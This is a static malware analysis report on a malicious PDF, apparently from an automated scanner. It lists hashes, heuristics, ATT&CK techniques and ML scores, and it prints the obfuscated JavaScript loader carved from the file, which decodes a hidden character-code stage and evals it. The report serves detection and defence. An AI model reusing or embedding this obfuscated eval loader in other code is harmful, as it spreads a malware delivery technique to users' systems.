Malicious PDF — malware analysis report

Static analysis result for SHA-256 6be844f22e430a20…

MALICIOUS

PDF

44.5 KB First seen: 2013-07-13
MD5: d7cd04fa6b52444c8f47fdfab58c6970 SHA-1: 95b4cb56222fcb922df87454ff93739e541ad632 SHA-256: 6be844f22e430a20ee2a9f9973cae4984656109bb4b5c66e80bb44709db6b7d0
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by multiple heuristics as a loader. The script attempts to decode a string and then execute it, likely to download and run a secondary payload. The ML classifier strongly indicates maliciousness. The specific payload and download URL are not directly discernible due to the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF14 533 bytes
SHA-256: 4d20a4cfa4dd36f0e90a879ea27739793eea2b656020c92e55130818f3ba26dc
Preview script
First 1,000 lines of the extracted script
jvn='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
b=qwe['qfwqf'];
e('amr=t'+('qwtwqt','hisundefined').replace(b,'.')+'ti'+'t'+t);
s=amr[v+a[6]](t.length + 8,3);
s+='str';
q=amr[s](1,9);
qmgzg=e('S'+'tring.fro'+q);
q=amr[s](14);
vxu = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=vxu.length');
for (i = 0; i < k; i+=2) {
	wkepg = vxu[i+1] + ('erybjkerl',vxu[i]);
	jvn += qmgzg(wkepg);
}
e(jvn);

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